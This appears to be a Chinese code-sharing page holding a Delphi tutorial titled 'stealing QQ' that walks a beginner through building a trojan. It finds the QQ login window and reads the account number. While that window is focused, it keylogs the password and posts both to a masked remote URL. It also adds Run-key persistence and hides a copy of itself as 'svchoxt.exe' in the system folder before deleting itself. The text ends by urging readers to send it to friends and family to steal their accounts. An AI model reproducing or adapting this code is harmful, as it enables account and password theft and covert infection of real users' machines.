盗Q.txt
上传用户:jiansibo
上传日期:2015-07-04
资源大小:524k
文件大小:8k
源码类别:

破解

开发平台:

Delphi

  1. 南域剑盟  www.98exe.com    主讲:上兴  qq:51992
  2. 有的会员说了,想要再间单一点的教程。
  3. 菜鸟自制QQ木马,   这里学习,不是说要得到什么 
  4. 1、利用找指定QQ窗口
  5. 2、利用键盘记录
  6. 3、发邮件
  7. 上次说那dll的大家一定感不爽,这次爽了,不用dll,
  8. 代码很短,实用,菜鸟也能做。
  9. 先找指定QQ窗口,看了上次教程的应会了。
  10. var
  11.   time1:integer;
  12.   QQ3,S: string;
  13. //句柄-----------------------------------------------------------
  14. function QQText(hWnd: HWND): String;
  15. var
  16.   Ret:LongInt;
  17.   mText:PChar;
  18.   Buf:Integer;
  19. begin
  20.   Ret:=SendMessage(hWnd,WM_GETTEXTLENGTH,0,0)+1;
  21.   GetMem(mText,Ret);
  22.   try
  23.     Buf:=LongInt(mText);
  24.     SendMessage(hWnd,WM_GETTEXT,Ret,Buf);
  25.     Result:=StrPas(mText);
  26.   finally
  27.     FreeMem(mText,Ret);
  28.   end;
  29. end;
  30. //----------------------------------------------------------------
  31. function QQGetWnd: HWND;   ////找QQ登录窗口的句柄
  32. var
  33.   hCurrentWindow: HWnd;
  34.   WndText:String;
  35. begin
  36.   hCurrentWindow := GetWindow(GetForegroundWindow, GW_HWNDFIRST);
  37.   while hCurrentWindow <> 0 do
  38.   begin
  39.     WndText:=QQText(hCurrentWindow);
  40.     if (Pos(Chr(13),WndText)>0) or (Pos(Chr(10),WndText)>0) then
  41.     begin
  42.       Result:=hCurrentWindow;
  43.       Exit;
  44.     end;
  45.     hCurrentWindow := GetWindow(hCurrentWindow, GW_HWNDNEXT);
  46.   end;
  47.   Result:=0;
  48. end;
  49.  //-------------------------------------------------------------------
  50. function findqqwindow:integer;    //句柄
  51. var
  52. h1,h2,h3:Hwnd;         //句柄
  53. begin
  54.  h1:=0;
  55.  h2:=0;
  56.  h3:=0;
  57.  h1:=QQGetWnd();
  58.  if h1=GetForegroundWindow then  //如在顶部
  59.  begin
  60.  h2:=GetDlgItem(h1,138);
  61.  h3:=GetDlgItem(h1,180);
  62. if (h2<>0) and (h3<>0) then
  63.   result:=0
  64.   else
  65.   result:=1;
  66. end;
  67. end;
  68. //-----------------------------------------------------------------------------
  69. function getqqnum:string;   //号码窗
  70. var
  71.   buffer:array[0..50] of char;
  72.   h1,h2:Thandle;
  73.   qqnumstr:string;
  74. begin
  75.   result:='';
  76.   h1:=QQGetWnd();
  77.   if h1=0 then exit;
  78.   h2:=GetDlgItem(h1,138);
  79.   if h2=0 then exit;
  80.   SendMessage(h2, $000D, 50, Integer(@buffer));
  81.   qqnumstr:=buffer;
  82. if qqnumstr<>'' then
  83.   result:=qqnumstr;  //获取窗口标题
  84. end;
  85. ----------------------------------------
  86. 2、放一个时钟,看就这记录键盘,好间单啊,直接用,显示在M1中。
  87. procedure TForm1.Timer1Timer(Sender: PObj);
  88. var//键盘记录  放在M1中
  89.   i : byte;
  90. begin
  91.   for i:=8 To 222 do
  92.   begin
  93.      if QQGetWnd()=GetForegroundWindow then  //这里限制了只能是QQ登陆窗才能记录
  94.      begin
  95.      if GetAsyncKeyState(i)=-32767 then
  96.       //GetAsyncKeyState---API函数,同样可以轻松进行键盘记录
  97.       begin
  98.       case i of
  99.       //8  : M1.Lines[M1.Lines.count-1] := copy(M1.Lines[M1.Lines.count-1],1,length(M1.Lines[M1.Lines.count-1])-1); //Backspace
  100.       9  : Q1.text:=Q1.text+' ';
  101.       13 : Q1.text:=Q1.text+#13#10; //Enter
  102.       17 : Q1.text:=Q1.text+' ';
  103.       27 : Q1.text:=Q1.text+' ';
  104.       32 :Q1.text:=Q1.text+' '; //Space
  105.       // Del,Ins,Home,PageUp,PageDown,End
  106.       33 : Q1.text := Q1.text + ' ';
  107.       34 : Q1.text := Q1.text + ' ';
  108.       35 : Q1.text := Q1.text + ' ';
  109.       36 : Q1.text := Q1.text + ' ';
  110.       37 : Q1.text := Q1.text + ' ';
  111.       38 : Q1.text := Q1.text + ' ';
  112.       39 : Q1.text := Q1.text + ' ';
  113.       40 : Q1.text := Q1.text + ' ';
  114.       44 : Q1.text := Q1.text + ' ';
  115.       45 : Q1.text := Q1.text + ' ';
  116.       46 : Q1.text := Q1.text + ' ';
  117.       145 : Q1.text := Q1.text + ' ';
  118.       48 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+')'
  119.            else Q1.text:=Q1.text+'0';
  120.       49 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'!'
  121.            else Q1.text:=Q1.text+'1';
  122.       50 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'@'
  123.            else Q1.text:=Q1.text+'2';
  124.       51 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'#'
  125.            else Q1.text:=Q1.text+'3';
  126.       52 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'$'
  127.            else Q1.text:=Q1.text+'4';
  128.       53 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'%'
  129.            else Q1.text:=Q1.text+'5';
  130.       54 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'^'
  131.            else Q1.text:=Q1.text+'6';
  132.       55 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'&'
  133.            else Q1.text:=Q1.text+'7';
  134.       56 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'*'
  135.            else Q1.text:=Q1.text+'8';
  136.       57 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'('
  137.            else Q1.text:=Q1.text+'9';
  138.       65..90 : // a..z , A..Z
  139.           begin
  140.           if ((GetKeyState(VK_CAPITAL))=1) then
  141.               if GetKeyState(VK_SHIFT)<0 then
  142.                  Q1.text:=Q1.text+LowerCase(Chr(i)) //a..z
  143.               else
  144.                  Q1.text:=Q1.text+UpperCase(Chr(i)) //A..Z
  145.           else
  146.               if GetKeyState(VK_SHIFT)<0 then
  147.                   Q1.text:=Q1.text+UpperCase(Chr(i)) //A..Z
  148.               else
  149.                   Q1.text:=Q1.text+LowerCase(Chr(i)); //a..z
  150.           end;
  151.       96..105 : Q1.text:=Q1.text + inttostr(i-96); //Numpad  0..9
  152.       106:Q1.text:=Q1.text+'*';
  153.       107:Q1.text:=Q1.text+'&';
  154.       109:Q1.text:=Q1.text+'-';
  155.       110:Q1.text:=Q1.text+'.';
  156.       111:Q1.text:=Q1.text+'/';
  157.       144 : Q1.text:=Q1.text+'[Num Lock]';
  158.       112..123: //F1-F12
  159.           Q1.text:=Q1.text+'[F'+IntToStr(i - 111)+']';
  160.       186 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+':'
  161.             else Q1.text:=Q1.text+';';
  162.       187 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'+'
  163.             else Q1.text:=Q1.text+'=';
  164.       188 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'<'
  165.             else Q1.text:=Q1.text+',';
  166.       189 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'_'
  167.             else Q1.text:=Q1.text+'-';
  168.       190 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'>'
  169.             else Q1.text:=Q1.text+'.';
  170.       191 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'?'
  171.             else Q1.text:=Q1.text+'/';
  172.       192 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'~'
  173.             else Q1.text:=Q1.text+'`';
  174.       219 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'{'
  175.             else Q1.text:=Q1.text+'[';
  176.       220 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'|'
  177.             else Q1.text:=Q1.text+'';
  178.       221 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'}'
  179.             else Q1.text:=Q1.text+']';
  180.       222 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'"'
  181.             else Q1.text:=Q1.text+'''';
  182.       end;
  183.       end;
  184.   end;
  185. end;
  186. end;
  187. ------------------------------------------
  188. 3、放一个时钟,监视QQ登陆窗口是否在。
  189. procedure TForm1.QQTr1Timer(Sender: PObj);
  190. begin
  191.    if findqqwindow=0 then
  192.    begin
  193.    QQ3:=getqqnum;
  194.    if (QQ3<>'') and (Q1.text<>'') then
  195.    begin
  196.    s:='QQ号:'+QQ3+'   '+'QQ密:'+Q1.text;
  197. time1:=1;
  198. end;
  199. //end;
  200. end
  201. else if time1=1 then                // QQ窗体不在
  202. begin
  203. s:='内 容:'+s;
  204. PostURL('http://www.***.com/asp/tmdqq.asp','num='+HtmlEncode('标题')+
  205.         '&pass='+HtmlEncode('内容'));
  206. time1:=0;
  207. Q1.text:='';
  208. end;
  209. end;
  210. 4、写发信代码,其实不用写的,直接COPY上去
  211. 5、放一个时钟,用来写注册表
  212. procedure TForm1.Timer3Timer(Sender: PObj);
  213. var
  214.   k1: hkey;
  215.   l: longint;
  216.   p: pchar;
  217. begin
  218.   try
  219.   {$IFNDEF DebugMode}
  220.     l := regopenkey(HKEY_LOCAL_MACHINE, 'SOFTWARE', k1);
  221.     l := regopenkey(k1, 'Microsoft', k1);
  222.     l := regopenkey(k1, 'Windows', k1);
  223.     l := regopenkey(k1, 'CurrentVersion', k1);
  224.     l := regopenkey(k1, 'Run', k1);
  225.     p := pchar(ParamStr(0));
  226.     l := regsetvalueEx(k1, 'SysDesk', 0, 1, p, 255);
  227.   {$ENDIF}
  228.  except
  229.   end;
  230. end;
  231. 6、最后,木马启动的常用方式:
  232. procedure TForm1.KOLForm1FormCreate(Sender: PObj);
  233.    var
  234.    F3: string;
  235. begin
  236.   F3 := Syspath + 'svchoxt.exe';    //复制一份到系统目录
  237.   if not FileExists(F3) then
  238.   begin
  239.      CopyFile(pchar(ParamStr(0)), pchar(F3), true);  //复制
  240.      SetFileAttributes(pchar(F3),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
  241.      {设置文件的属性为系统和隐藏}
  242.      winexec(pchar(F3), 1);    {运行文件}
  243.      application.Terminate;    //关闭释放 文件
  244.      deleteSelf;    //自删除
  245.      Close;
  246.      
  247. end;
  248.    Form1.Timer3.Enabled :=True;  写注册表
  249. end;
  250. end.
  251. 完成,发给亲朋好友盗他们QQ玩吧!